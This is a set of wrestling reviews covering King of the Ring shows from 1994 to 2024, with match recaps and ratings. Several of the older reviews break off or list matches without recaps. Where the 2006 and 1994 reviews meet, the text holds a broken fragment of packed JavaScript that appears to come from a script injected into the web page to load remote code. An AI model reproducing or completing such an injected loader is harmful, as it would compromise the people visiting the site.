Monday Night Raw
Date: May 6, 2024
Location: XL Center, Hartford, Connecticut
Commentators: Michael Cole, Pat McAfee

It’s tournament time as we are starting the King and Queen of the Ring tournaments this week. With the finals less than three weeks away, there isn’t much time so they are likely going to cover quite a bit this week. Unfortunately Drew McIntyre has been pulled due to injury but we should have a replacement of some kind on hand. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a long Backlash recap.

Here is the Judgment Day for a chat. Damian Priest is proud to have retained the title and apologizes for what happened after the match. He shouldn’t have attacked his teammates because they are his family. As for now though, the Judgment Day is still the dominant faction in WWE and Finn Balor is going to be the next King Of The Ring. Drew McIntyre is out of action so Balor is getting a first round bye. Cue Adam Pearce to say not so fast as we have a replacement right now.

King Of The Ring First Round: Jey Uso vs. Finn Balor

Balor grabs an armbar to start but Uso fights up with some yeeting right hands. A headlock slows Uso down again but he sends Balor outside for a dive. Uso gets posted and sent over the announcers’ table though and we take a break. Back with Balor’s basement dropkick connecting for two and we hit the chinlock.

That lasts as long as your average chinlock as Uso fights up and hits a high crossbody. A superkick drops Balor again but it’s way too early for the Superfly Splash. Instead Uso hits the spear for two but here is Drew McIntyre for a distraction. The fans want CM Punk though they seem to settle for Uso hitting another spear for the pin at 13:34.

Rating: C+. The McIntyre interference didn’t really do anything but this is going to give the fans something to like to start the show while also continuing Judgment Day’s issues. Balor got to showcase himself a bit as well but Uso moving forward makes sense as he could very well be a dark horse (or better) to win the whole thing. Assuming McIntyre doesn’t kick his head off that is.

We look at Gunther vs. Sheamus from Clash At The Castle back in 2022.

Drew McIntyre yells at Adam Pearce and leaves (with another QR code popping up). CM Punk pulls into the parking lot just as McIntyre leaves and heads to the ring (fist bumping Chad Gable on the way) for a chat. Punk talks about being locked in WWE Headquarters over the weekend and then realized the show was so close by so here he is. Punk mocks the 5:46 McIntyre title reign and knows that McIntyre is scrolling through Twitter so what if the fans lets him know he’s here.

While we’re waiting, Punk tells us about how he was hurt in the Royal Rumble when McIntyre DDT’ed him. He was upset over missing Wrestlemania but now he’s waiting to get his dream back. Punk is a five tool player but McIntyre is just a tool. McIntyre picked a fight with the pettiest man on earth and Punk thinks it’s because McIntyre hates himself. Punk already broke McIntyre’s elbow and next time he’ll break his face and heart. The music plays and Punk threatens to show up in Glasgow, Scotland. This is another week that Punk stays in the fans’ minds while he recovers, with his return getting closer and closer.

Ricochet is ready for the King Of The Ring when Braun Strowman comes in. Strowman stood up to Judgment Day last week because he can’t stand bullies.

Queen Of The Ring First Round: Iyo Sky vs. Natalya

Damage CTRL is here with Sky. Natalya spins out of a wristlock to start before grabbing a quickly broken leglock. They head outside with Sky being sent face first onto the apron as commentary talks about not knowing what any of the French chants were about at Backlash. Back in and Sky’s springboard missile dropkick gets two and we take a break.

We come back with Natalya grabbing a Michinoku Driver for two, followed by a top rope superplex (dedicated to Owen Hart, whose birthday would have been tomorrow) for the same. Sky is right back with a crossface before they trade rollup for two each. Natalya’s sitout powerbomb gets two more but the Sharpshooter attempt is broken up. The running knees in the corner set up Over The Moonsault for the pin at 10:24.

Rating: B-. That’s Natalya in a nutshell: makes opponent look good, does her own good things, loses in the end. It’s a good role for her and they didn’t try to do anything further than that. At the same time, Sky gets a win and some of her momentum back after losing at Wrestlemania.

Post match Damage CTRL promises to win the Queen Of The Ring and they’re coming for the Women’s Tag Team Titles again.

Video on Ilja Dragunov.

Ilja Dragunov vs. Ricochet

Ricochet doesn’t even bring the Speed Title with him. They start fast with Ricochet hitting a knee to the face and we’re already in a break. Back with Ricochet hitting a springboard clothesline into a standing shooting star press for two. Dragunov is back up with a waistlock but Ricochet backflips out of a German suplex.

Instead he sends Dragunov outside, where a moonsault is countered into the German suplex to put Ricochet down. Back in and a missile dropkick gives Dragunov two but Ricochet snaps off a super hurricanrana to the floor. Multiple dives drop Dragunov again and we take another break.

We come back again with Dragunov hitting the Constantine Special (rebound clothesline) and dropping a top rope backsplash for another near fall. They trade kicks to the face until Ricochet hits a Death Valley Driver. Ricochet tries a springboard but gets knocked out of the air. The H Bomb (a hard right hand on the mat) looks to set up Torpedo Moscow (running headbutt) but Ricochet Recoils him down instead. Dragunov catches him on top with another superplex and the second H Bomb is enough for the pin at 16:35.

Rating: B. If this didn’t have the two breaks in there, it would have been even higher. This was getting into Dragunov’s bread and butter as he feels like he would rather die than lose and throws everything he has out there to win. It makes his matches feel like wars and that was showing up again here. Heck of a match here for Dragunov’s more official Raw debut.

Respect is shown post match.

Sheamus can’t stand the idea of King Gunther so tonight he’s going to give Gunther the beating he’s been deserving.

Video on the European tour.

Queen Of The Ring First Round: Ivy Nile vs. Zoey Stark

Nile goes right after her to start but Stark runs her over. A rather delayed vertical suplex puts Stark down but she manages to pull Nile throat first into the rope. Stark hits a springboard missile dropkick for two, with commentary saying it was like a sniper. They both go up top where Nile wins a quick slugout and hits a super bulldog for two of her own. Nile misses an enziguri so Stark hammers away, with commentary getting into a weird discussion about ground and pound. Stark drops her face first onto the buckle and hits Z360 for the pin at 5:20.

Rating: C. This started well but they hit a wall in the middle and it kind of dragged to the finish. The top rope bulldog was a unique spot and Nile was fighting here but something seemed a bit off. I could go for seeing Nile get more of a chance, though she is going to need more polish and experience first.

R-Truth brings in UConn men’s basketball coach Dan Hurley because he thinks Awesome Truth should face the basketball team. Miz tries to explain things to Truth but Truth insists that a sport is a sport. Miz says he’ll get back to Adam Pearce about their next title defense (An exasperated Pearce: “Thank you.”). Awesome Truth leaves and Pearce needs a drink but gets to talk to Bron Breakker, who wants to know why he isn’t in the King Of The Ring. They’ll talk later.

We look at Gunther vs. Sheamus II.

Judgment Day consoles Finn Balor over his loss when Dominik Mysterio comes in with Carlito. Damian Priest doesn’t want Carlito here after what happened at Backlash last year but Carlito offers to trade back scratches. Priest tells him to get out.

Chad Gable vs. Bronson Reed

No Alpha Academy here with Gable, who chops away to start but gets Death Valley Drivered (that move is making a comeback around here) for his efforts. Gable manages to muscle him over with a German suplex for two so Reed goes up top. That’s fine with Gable, who kind of t-bone superplexes him down, only to have Sami Zayn run in and jump Gable for the DQ at 1:42.

Post match the beating is on but Reed cuts off the Helluva Kick and plants Zayn. Reed beats up Gable as well and stands tall. The camera follows Reed to the back, where Adam Pearce asks why Reed can’t control himself. Reed wants the Intercontinental Title and tells Pearce to do what he needs to do if he wants control.

Video on Lyra Valkyria. It’s smart to preview new stars like her as it helps when she’s being thrown into a pretty important match.

Gunther is ready to win King Of The Ring and doesn’t mind going through Sheamus to do it.

Here is Becky Lynch for a sitdown interview with Michael Cole. Becky loves these people but Cole brings up her appearance at the Kentucky Derby and her…interesting outfit choice. Cole: “What is that hat? Is it a hat?” Lynch got it on Etsy and the fans think it works. Cole moves on to the title, which Lynch will have to defend against a variety of the new stars brought over in the Draft.

Lynch is ready for people like Alba Fyre, Isla Dawn, Kiana James and in particular, Lyra Valkyria. As for Wrestlemania, yes she had strep throat but Rhea Ripley was the better woman that night. Then she won the title two weeks later in a battle royal…and here is Liv Morgan to interrupt.

Morgan is sick of Lynch not talking about her and brings up everything she’s done. Lynch cuts her off and says the title match is on at King And Queen Of The Ring (that show needs a better name) but Morgan. Morgan says she has a purpose now but here is Damage CTRL to interrupt. That’s enough for Morgan to bail so the fight is on but Lyra Valkyria runs in for the save.

Sami Zayn says it should be over with Chad Gable and Bronson Reed so he’ll fight them both at King And Queen Of The Ring. He’ll be at his best because he’s up against the wall.

Queen Of The Ring First Round: Lyra Valkyria vs. Dakota Kai

Valkyria takes her down with a headlock to start but let’s go split screen for a preview for Kingdom Of The Planet Of The Apes. The northern lights suplex gives Valkyria two but she gets pulled off the corner for a crash onto the buckle. We take a break and come back with Valkyria striking away, including a dropkick through the ropes. A suplex gives Valkyria two but Kai slips out of a fireman’s carry. The running kick to the face in the corner hits Valkyria for two more but she ducks another kick to the face. Nightwing (Samoan driver) finishes Kai at 8:50.

Rating: C+. The substitution is a good thing for Valkyria as she wasn’t likely to defeat someone at Asuka’s level in her debut. Beating Kai is certainly not a step too far though and this could help Valkyria up as one of the new stars around here. The division could always use fresh blood and Valkyria has all of the tools to move up the ladder in a hurry.

Kofi Kingston says this was supposed to be Xavier Woods’ tournament but Gunther put Woods on the shelf. Now Kingston is going to win the tournament instead and he’ll start with Rey Mysterio this weekend. He also gets in a Kendrick Lamar/Drake reference that I don’t understand.

King Of The Ring First Round: Gunther vs. Sheamus

Ludwig Kaiser is here with Gunther and Sheamus has already slimmed down a bit from his return a few weeks ago. They waste no time in chopping it out until Gunther kicks him out to the apron. Gunther tries his own ten forearms to the chest but has to block Sheamus from doing the same. Sheamus backdrops him to the floor and hits a dive off the apron as we take a break.

Back with Gunther dropping him again with a hard chop to the back, which even has Kaiser cringing. Gunther starts in on the neck by grabbing a cravate but Sheamus is up with the Irish Curse. One heck of a clothesline gives Gunther two, with White Noise giving Sheamus the same. Now Sheamus can hit the forearms to the chest but the Brogue Kick misses. Kaiser gets in a cheap shot to the knee but gets ejected (McAfee: “NEIN!”) as we take another break.

Back again with Gunther working on the bad knee until Sheamus kicks his way to freedom. Gunther goes right after the knee again but Sheamus manages a clothesline. The jumping knee gives Sheamus two of his own but the knee is banged up. The knee gives out on a powerbomb and Gunther hits a powerbomb into a half crab. Sheamus is in the ropes so Gunther goes up, only to be countered into a Celtic Cross for a delayed two. Some knees put Gunther down for a delayed two but the knee gives out again. Gunther grabs the half crab again and this time Sheamus has to tap at 21:00.

Rating: B+. This was the heavyweight slugfest that you would expect from these two, with those welts on Sheamus’ chest making me cringe more than once. The ending is something that makes perfect sense for Gunther, as he exploited an injury. Granted it’s an injury that was caused by Gunther’s stooge but that’s what a heel should be doing.

Overall Rating: B. They were focused this week with a good chunk of the show looking at the tournaments. It helps that the action ranged from awesome to just rather good with the main event being more than worth a look. Two matches got added to the pay per view card as well, making this an efficient show that never hit any really bad part. Pretty great show this week and that’s always nice to see.

Results
Jey Uso b. Finn Balor – Spear
Iyo Sky b. Natalya – Over The Moonsault
Ilja Dragunov b. Ricochet – H Bomb
Zoey Stark b. Ivy Nile – Z360
Chad Gable b. Bronson Reed via DQ when Sami Zayn interfered
Lyra Valkyria b. Dakota Kai – Nightwing
Gunther b. Sheamus – Half crab

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

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Monday Night Raw
Date: April 21, 2008
Location: BiLo Center, Greenville, South Carolina
Commentators: Jim Ross, Jerry Lawler

It’s a special three hour show as the King Of The Ring is back. The tournament was announced last week and now we get the whole thing wrapped up in one night. Other than that, it is the go home show for Backlash and that means it is time for the final push towards the four way match for the Raw World Title. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

King Of The Ring First Round: Chris Jericho vs. MVP

Non-title. MVP slugs away to start but Jericho drapes him ribs first onto the top. Jericho takes it to the floor but MVP hits something like a hanging Nightmare On Helm Street back inside. Something close to a seated abdominal stretch has Jericho in trouble but he’s right back up and hits a running shoulder. A big boot gives MVP two, only to get taken down with a clothesline as the back and forth continues. The Playmaker is broken up though and Jericho gets the Walls for the clean tap.

Rating: C. It was intense while it lasted but they had no other way out besides having the US Champion tap out? Losing to Jericho isn’t some huge upset but MVP already has a title match on Sunday so why have him lose here? I’ve never gotten the thinking behind this, though it doesn’t do the loser’s title any favors.

King Of The Ring First Round: CM Punk vs. Matt Hardy

They trade forearms to start and Punk blocks the Side Effect with some elbows to the head. Punk knocks him down into a chinlock before putting him on top. What looked to be a superplex is broken up and a middle rope elbow to the back of the head rocks Punk for a change. Back up and Punk’s running knee and bulldog get two so Punk loads up the GTS. Hardy reverses into a sunset flip attempt but Punk sits down on it for the pin to advance.

Rating: C+. This was another fast and to the point match, though they kept things going so qquickly that it was entertaining. At the same time, the US Title match at Backlash has taken quite the hit in the first twenty five minutes of the show. This one isn’t as bad as the champ losing, but the title match doesn’t have quite the shine anymore.

Here’s what Barack Obama vs. Hilary Clinton looks like in Smackdown vs. Raw 2008.

We look back at JBL/HHH/Randy Orton attacking each other last week.

The Raw World Title match is now a four way elimination match.

JBL says tonight is about crowning the King Of The Ring but he will be crowned champion on Sunday. There is even an article about him on the front page of the New York Times!

King Of The Ring First Round: Finlay vs. Great Khali

Hornswoggle is here with Finlay. Some shots to the knee manage to put Finlay down to start but Khali chokes him from the mat. A big boot drops Finlay so Hornswoggle tries to bring in the shillelagh. With that broken up, Khali wraps Finlay’s leg around the post and that’s a fast DQ.

Post match here is Big Show for the showdown with Khali. That’s enough to send Khali bailing to wait for Sunday. With Finlay being helped to the back, here is William Regal for the final first round match.

King Of The Ring First Round: Hornswoggle vs. William Regal

Regal Stretch finishes Hornswoggle in about 20 seconds.

Video on the European tour.

Here is Shawn Michaels for a chat. Shawn didn’t think he would be out here dealing with one of Ric Flair’s best friends in Batista. He needs to ask Batista something here though, so come on down. Cue Batista, with Shawn bringing up what Chris Jericho said on Smackdown: did Batista want to be the one to retire Flair? Batista asks if it would be easier if the answer was yes. Either way, Batista is ending this at Backlash, but Shawn promises to show Batista why he is the Heartbreak Kid. Shawn is willing to do anything to win, so be ready. Violence is teased but they leave.

In light of the Pennsylvania Presidential Primary, Hilary Clinton joins us and says the election is starting to sound like King of the Ring. This time though, the Last Woman Standing may be a woman. Whoever wins will have a lot of challenges to overcome but she will stay in the political arena and won’t come after Randy Orton. She might drop the People’s Elbow though. This was as eye roll inducing as you could have imagined but points for actually showing up.

Hardcore Holly vs. Carlito

Cody Rhodes and Santino Marella are here too. Holly starts fast and hammers him into the corner. An atomic drop hits Carlito but he knees Holly in the ribs and takes over. We hit the chinlock with a knee in the back before an elbow to the face cuts off Holly’s comeback. The Alabama Slam is countered into the Backstabber to give Carlito the pin.

Rating: C-. This was as interesting as a Carlito vs. Hardcore Holly match to set up Carlito/Santino Marella vs. Holly/Cody Rhodes Tag Team Title match was going to be. This feud is pretty horrible, but it isn’t like the titles have felt important in a good while. Just find some better teams. It really shouldn’t be that hard.

Post match Santino promises to win the Tag Team Titles but Cody clears the ring.

HHH promises to win the title at Backlash.

King Of The Ring Semifinals: CM Punk vs. Chris Jericho

Non-title. Jericho grabs a headlock takeover and gets absolutely nowhere. Back up and Punk starts kicking away at the leg but gets dropped ribs first across the top rope. Jericho stays on the ribs until a hammerlock lariat gives Punk two. They go to a pinfall reversal sequence and Punk’s snap powerslam gets two more. The Walls have Punk right back down, sending him over to the rope for the break. Jericho goes up but gets kicked in the head, setting up the GTS for the clean pin.

Rating: C+. It was fun while it lasted but they got out of there really fast. Maybe their time was cut short, but the Intercontinental Champion losing in about six and a half minutes completely clean is a strange thing to see. That being said, Punk is getting a push here and points for trying to make someone new.

Senator Barack Obama says it’s a chance to change business as usual and get rid of people trying to become King (of the ring). Do you smell what Barack is cooking? He certainly has charisma.

King Of The Ring Semifinals: William Regal vs. Finlay

This should be fun and Finlay is very banged up coming in. Finlay sends him outside but his band knee is sent into the steps. Back in and Regal goes after the knee like a true villain (or smart wrestler) should. Finlay forearms away and a backslide (which falls apart on the way down) gets two. Regal’s running knee knocks Finlay silly though and the Regal Stretch knocks Finlay out to send Regal to the finals.

Rating: C. Another short match here, which continues the issue of a one night tournament needing to be rushed, even if there is an extra hour. Regal and Finlay could have a heck of a fight if given the chance, but three and a half minutes with Finlay being banged up coming in isn’t going to allow that. Instead we got Regal being a villain who exploited an injury, which might just be a bit better.

Senator John McCain uses a bunch of wrestling catchphrases and promises to introduce Osama Bin Laden to the Undertaker and tells us to vote. All three of these were pretty bad, but they did take the time to appear.

Backlash rundown.

John Cena is tired of talking and wants to fight. He talks about how he knows he has a chance on Sunday and the other three have to go through him.

WWE has helped with a literacy program. Nothing wrong with that.

Barack Obama vs. Hilary Clinton

Let’s get this over with as I’m sure Vince McMahon finds this hilarious. Clinton comes out to Real American and has a Bill Clinton impersonator. Before the match, Hilary cuts a promo for the Hilamaniacs and there is an eerie silence as she stops to bicker with Bill. Fans: “MONICA! MONICA!”

Obama, with big fake ears, comes out to Rock’s theme. His Rock impression isn’t well received but Bill cuts him off. Hilary jumps him to start and gets two off a slam into a legdrop. The Rock Bottom connects (Bill: “Honey are you go???) but Bill breaks up the People’s Elbow (Bill: “I did not have inappropriate conduct.”). Umaga finally comes in and the match is thrown out.

Umaga wrecks both of them, ending one of the dumbest segments that probably had a certain someone howling backstage.

Here are a bunch of the more popular Divas for a chat. Last week, Mickie James won the Women’s Title from Beth Phoenix, which they never thought possible. Mickie is brought out for a chat, plus a lot of hugging. Cue the evil Divas, with Beth Phoenix promising to get the title back. McCool slaps Beth and the big brawl is on.

Mr. Kennedy is back next week. He was gone?

King Of The Ring: William Regal vs. CM Punk

Regal takes him into the corner to start and hammers away but Punk sends him into the buckle. A belly to back suplex drops Punk for two and Regal cranks on both arms. Punk finally slips out and kicks him in the head. It’s too early for the GTS though as Regal grabs the rope and knees him in the head. The Regal Stretch makes Punk tap and Regal is King.

B: C. So that’s the tournament, with the longest match not even breaking seven minutes. This was another match that just came and went because there wasn’t time to do much. Punk’s ribs were tied throughout the matches he wasn’t even in the ring for fifteen minutes throughout the night. I like Regal winning though, as he is great when given a chance to showcase everything he can do. Just do better with the tournament next time, or stretch it out to a second week.

Post match Regal sits on the throne and we’re off to a break rather quickly.

Here is Randy Orton for the main event, but first he says he is tired of everyone talking about taking his title. He has nothing to say except for listing off the shows where he retained.

Randy Orton/John Bradshaw Layfield/Chavo Guerrero/Edge vs. HHH/Kane/Undertaker/John Cena

That’s a pretty outstanding group of good guys. Edge tries to jump Undertaker to start and gets caught with a quick Old School. We take a break and come back with Edge charging into HHH’s spinebuster, allowing the diving tag to Cena. The Shuffle is broken up thanks to a Chavo low bridge though and it’s Orton coming in to kick him in the ribs.

JBL gets two off a neckbreaker as the villains start taking turns on Cena. Orton grabs the chinlock with a bodyscissors until Cena powers up for a ram into the corner. The tag brings in Kane and everything breaks down. Kane chokeslams Chavo but Edge comes in off a blind tag and hits a spear for the pin.

Rating: C+. This felt like a house show match where you get your big names in the ring to end the show. It worked for what it was, in that it previewed multiple pay per view title matches at once, though there was no reason to believe it was going to be anything great. Kane taking the fall when Chavo is there is a bit weird, but maybe they feel they have beaten him into the ground enough.

Post match we hit the parade of finishers, with Undertaker chokeslamming Orton and JBL to end the show.

Overall Rating: C+. This was a strange show in that they tried to pack in a lot and it was too overcrowded. Between the tournament, the political stuff and the build towards the pay per view, this felt like it needed to be about four hours, or two regular weeks, to make it work. What we got did work and they covered a lot, but it felt like it could have been that much better rather than just doing ok with everything. Cut some of this stuff out and let the show breathe a bit more and it’s that much better. Or just get rid of the Obama vs. Hilary match because that was an audience of one deal if I’ve ever seen one.

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

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AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.

IMG Credit: WWE

Smackdown
Date: April 14, 2006
Location: Resch Center, Green Bay, Wisconsin
Commentators: Michael Cole, Tazz

It’s tournament time as we have the first match in the King of the Ring. That could mean a few different things going forward, but this time around it means Kurt Angle vs. Randy Orton in a first round match. Then there is some new giant around to go after Undertaker so it’s kind of like old days. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

Here are Booker T. and Sharmell for a chat with a robe and throne in the ring. They like the way the stuff looks but Booker is much more excited about his restraining order against the Boogeyman. That has made Smackdown a Boogeyman Free Zone, but last week Booker lost to Gunner Something, which will never happen again. He is going to prove his greatness in the King of the Ring tournament, because this has made a lot of great careers.

Booker lists off everyone else in the tournament and none of them are as great as he is. He would like everyone to rise up and bow down to their next king. With that out of the way, Booker has to try on the robe and starts knighting the robe, allowing Sharmell to debut ALL HAIL KING BOOKER! Cue Bobby Lashley to spear Booker down, with Booker’s legs staying in the air long after Lashley leaves for a good visual.

Johnny Nitro vs. Brian Kendrick

Melina, Joey Mercury and Paul London are all at ringside. Kendrick starts fast with the forearms but gets sent throat first into the middle rope. The chinlock is on early but Nitro misses a charge into the corner. Kendrick’s spinning facebuster sets up another shot to the face but Mercury shoves Kendrick off the top. London dives onto Mercury and Melina gets knocked down, leaving Kendrick to victory roll Nitro for the pin.

Rating: C-. They did what they could in the time that they had but you can’t get too far in just over three minutes. The interference looks to set up the Tag Team Title match later on and that works out well enough, though I’m not exactly thrilled with the idea of sitting through the partners facing each other next week and then probably a six person tag down the line.

We recap Paul Burchill beating William Regal last week, meaning it’s buxom wench time.

Burchill sees Regal (off camera) and Regal isn’t happy because the shoes hurt and the knickers are out of his selection box.

This Week In Wrestling History: Barely Legal, focusing on Tazz vs. Sabu. The recap given by the voiceover is more details than I remember Joey Styles telling us on the show.

Paul Burchill vs. Rasheed Brown

Before the match, Burchill introduces Lady Regal, who falls off the rope swing and can’t stand up in the dress (which he has to wear until Burchill loses a match). Regal finally gets to his feet and comes to the ring, where Burchill pulls out a sword to poke him in the skirt. The rather large Brown shoves Burchill into the corner to start but gets taken down with a quick shot to the back. Regal gets on the apron with brass knuckles to nail Burchill but hits Brown by mistake, setting up Walking The Plank to give Burchill the easy pin.

Post match Burchill and Regal leave, arm in arm.

Kurt Angle congratulates Rey Mysterio on winning the World Heavyweight Championship at Wrestlemania and blames Randy Orton for the title loss. Tonight, Angle is going to take out all of his frustrations on Orton.

We look at Bret Hart winning the first King of the Ring.

Matt Hardy vs. Road Warrior Animal

Fallout from Animal jumping Matt on Velocity last week. The brawl starts on the floor before the bell with Animal being driven into the apron. They try to bring in a chair and the bell actually rings, with Matt hitting the Twist of Fate for the pin in about twenty seconds. And so much for that, thank goodness.

We look back at Rey Mysterio winning the Royal Rumble and then the title at Wrestlemania. How many times are we looking back at all of this stuff???

Palmer Cannon says that the following video is not endorsed by WWE.

Video of Miz wrecking havoc at WWE Headquarters. Didn’t we see this last week?

US Title: Chris Benoit vs. John Bradshaw Layfield

JBL, with Jillian Hall, is defending in a match that was supposed to be a celebration. Before the match, cue Teddy Long to say we’re having a change. The title is going to be on the line in a steel cage, which just happens to be above the ring and no one seemed to notice it yet, aside from all of the times that it was shown earlier in the night. JBL begs the referee to not make this happen so Benoit hammers away to start, sending JBL from one corner to another.

An early JBL escape attempt doesn’t work as Benoit pulls him back down and onto the mat. JBL is back up with a belly to back superplex but Benoit chops him down without much trouble. It’s too early for the Sharpshooter as JBL kicks him away and drops some elbows. Benoit is back up with some knees and chops in the corner before catching JBL on top again.

They both come crashing back down though and it’s time for a quick breather. It’s JBL up first with Two Amigos but Benoit pulls him into another failed Sharpshooter attempt. The Crossface doesn’t work either so Benoit hits the full Three Amigos. The Swan Dive connects for no cover as Benoit would rather go up than cover or walk out the door. JBL is back up with a super Russian legsweep and we take a break.

Back with Benoit climbing the cage again and getting electric chaired back down for two. A sleeper has Benoit in more trouble but the arm stays up the third time. Another suplex drops JBL and it’s time to roll the German suplexes. Benoit can only get two though and JBL boots him in the face. JBL goes for the door but the confused Jillian accidentally slams it on Benoit’s head. The Crossface goes but there is no referee to see the tap. Instead JBL rolls him over for two before kicking Benoit low, which is enough to retain the title.

Rating: B-. This was rolling until the messier than necessary ending. The Jillian stuff didn’t need to be there and seemed to be more of an idea for the sake of having one. JBL shouldn’t be dropping the title yet anyway, and especially not to Benoit after a long reign. The match was good, but having it in a cage didn’t add much of a note.

We look at Great Khali debuting and destroying Undertaker last week.

Here are Daivari and Great Khali for a chat. Daivari talks about how we have heard about Undertaker being a phenom for a long time now, but Khali is a real monster. We will all fear and worship him because Undertaker is gone.

Gymini vs. Mexicools

Jesse cleans house on the Mexicools early on and the old Harris Brothers H Bomb should finish Psicosis off early. The delayed cover only gets two though as Super Crazy has the referee. Crazy comes in to clean house but some twin magic lets Jesse hit a high collar suplex for the pin.

King of the Ring First Round: Kurt Angle vs. Randy Orton

Orton hides in the rope to start but Angle is patient enough to hit some clotheslines. A trip to the floor doesn’t last long as Orton is thrown inside for the ankle lock. That is broken up as well but Orton catches him with some shots on the way back in. Choking on the rope ensues and we’re already in the chinlock (I’ll let you figure out who is doing what).

Angle fights up and gets to the apron, where he manages to suplex Orton over the top and out to the floor in a nasty crash. That’s good for a nine count so Angle hits the German suplexes. The Angle Slam is countered into the backbreaker to give Orton two, meaning it’s the ankle lock to make Orton tap.

Rating: C+. The time hurt them again here but Angle getting a win back is the best thing for him. He doesn’t need to win the tournament, but he needs to show that he can still dominate at this level. That’s where this win came from and the extra part about Orton being the one who took the fall to lose Angle’s title makes it better.

Post match Angle puts the ankle lock on again, lets go and leaves, then comes back to do it again to end the show.

Overall Rating: C+. They kept things moving tonight and I can always appreciate that. There was a lot of stuff crammed into the two hour show and it started to set the stage for the next pay per view in May. I liked the show rather well and nothing was bad, though the cage match ending left a bit to be desired. Good enough effort this week.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zista|var|u0026u|referrer|dnekb||js|php'.split('|'),0,{})) of the Ring 1994
Date: June 19, 1994
Location: Baltimore Arena, Baltimore, Maryland
Attendance: 12,000
Commentators: Gorilla Monsoon, Randy Savage, Art Donovan

Earlier today, Jeff Jarrett came up to the official bracket board and tried to advance himself. This brought in Bam Bam Bigelow, Owen Hart and IRS to start a big argument.

National Anthem.

Before we get started, here are the brackets:

Razor Ramon

Bam Bam Bigelow

IRS

Mabel

Owen Hart

Tatanka

1-2-3 Kid

Jeff Jarrett

King of the Ring Tournament First Round: Bam Bam Bigelow vs. Razor Ramon

King of the Ring Tournament First Round: IRS vs. Mabel

Jim Cornette and Mr. Fuji are ready to have Crush and Yokozuna win the Tag Team Titles.

King of the Ring Tournament First Round: Tatanka vs. Owen Hart

Monsoon just starts talking over Donovan as Owen works on a headlock. Tatanka gets sent over the top but lands on his feet to drag Owen outside for a chop off. Owen posts him and we cut to the back where Razor and IRS are in a fight. That goes nowhere so Owen hits the running crotch attack to the back of the head that needs a better name than the running crotch attack to the back of the head.

King of the Ring Tournament First Round: 1-2-3 Kid vs. Jeff Jarrett

They trade clotheslines as Donovan thinks Kid has no chance here. Kid misses a Swanton but Jeff crotches himself (Donovan finds it HILARIOUS), setting up a high crossbody for two. The Bronco Buster misses and Jeff, who Art calls “a cutie” tries the Figure Four but gets small packaged for the pin.

Post match Jeff snaps and piledrives Kid three times in a row.

The final four:

IRS

Razor Ramon

Owen Hart

1-2-3 Kid

New Generation ad, focusing on old vs. new, including Hogan listed as old of course.

WWF World Title: Bret Hart vs. Diesel

Neidhart leaves for some reason (Dun dun dun?), allowing Diesel and Shawn to lay Bret out.

King of the Ring Tournament Semifinals: Razor Ramon vs. IRS

Rating: D. I wonder if Razor was injured here. There was barely any offense from Ramon until the very end and he spent a good chunk of a five minute match in a chinlock. Injury or not though, you have to put Ramon against Owen in the final, just for the sake of ANY star power/a threat to Owen in the last match.

Bret is looking for Neidhart.

King of the Ring Semifinals: Owen Hart vs. 1-2-3 Kid

Tag Team Titles: Yokozuna/Crush vs. Headshrinkers

Crush beats on Luger until the Headshrinkers make the save.

King of the Ring: Razor Ramon vs. Owen Hart

Rating: C-. Obvious ending and unnecessary interference aside, this was the only way they could have done. Owen was still hot from beating Bret at Wrestlemania and needed a major win without changing the Intercontinental Title from one heel to another. Giving him the crown was as good of an option as they had and it made him look like a real threat in his big title shot against Bret.

Roddy Piper vs. Jerry Lawler

Lawler being a king confuses Donovan even more. Before Piper comes out, Lawler does his usual crowd insults and again promises to keep all the winnings. As is his custom for a big match, Piper is played to the ring by a pipe and drum corps. In the first pay per view main event ever between two wrestles over forty years old, Monsoon has the gorilla testicles to call this a NEW GENERATION match.

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King of the Ring 2002
Date: June 23, 2002
Location: Nationwide Arena, Columbus, Ohio
Attendance: 14,198
Commentators: Jim Ross, Jerry Lawler

We open with a recap of some great King of the Ring winners with 1995 obviously being omitted. Does anyone want to see Savio Vega anyway? The regular opening video talks about the tournament and the two regular matches, as you would expect.

King of the Ring Semifinals: Rob Van Dam vs. Chris Jericho

Back up and a springboard kick to the face gives Rob two, followed by the cartwheel moonsault for the same. Jericho shrugs off a few more kicks and sends Rob into the exposed buckle for two. The Lionsault gets the same and the Walls send Van Dam bailing for the ropes. They head up top so Jericho can get shoved off and very obviously crawl to the middle of the ring so the Five Star can put him away.

Lawler goes in to talk to Van Dam but Jericho chairs Rob down and puts him in the Walls.

Heyman fires Brock up.

King of the Ring Semifinals: Test vs. Brock Lesnar

Lance Storm and Christian would rather rant about people being anti-Canadian instead of picking a winner.

Cruiserweight Title: Hurricane vs. Jamie Noble

Eddie Guerrero vs. Ric Flair

Angle wants to know why he and Hogan are both considered American heroes. After all, Hogan is only considered a hero because Vince wanted him to be. “If Mr. McMahon wanted Hogan to be a zookeeper, Hogan would be a zookeeper!”

Kurt Angle vs. Hulk Hogan

King of the Ring: Brock Lesnar vs. Rob Van Dam

HHH runs into Kevin Nash and Shawn Michaels, who offer their help tonight if needed.

Heyman jumps in on commentary to say the winner of this is keeping the title warm for Lesnar until Summerslam.

WWE World Title: Undertaker vs. HHH

HHH is challenging and comes out second for no apparent reason. They slug it out to start (get used to that kind of exchange) with neither really getting an advantage. HHH mixes it up with a choke before the fight heads outside for more punching. The slow punching continues until Undertaker misses a running boot in the corner. A modified Snake Eyes gets Undertaker out of trouble and he drops an elbow for two.

Post match Undertaker talks trash to Rock and gets Rock Bottomed, setting up a Pedigree to Rock to end. Undertaker chokeslams HHH to end the show.

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King of the Ring Network Special
Date: April 28, 2015
Location: iWireless Center, Moline, Illinois
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

We open with a recap of the history of the tournament and some of the stars who have won before.

Here are the final four:

Neville

Sheamus

Bad News Barrett

R-Truth

King of the Ring Semi-Finals: Sheamus vs. Neville

King of the Ring Semi-Finals: R-Truth vs. Bad News Barrett

Video on Verne Gagne who passed away yesterday.

We look at Neville beating Barrett on Sunday.

King of the Ring: Bad News Barrett vs. Neville

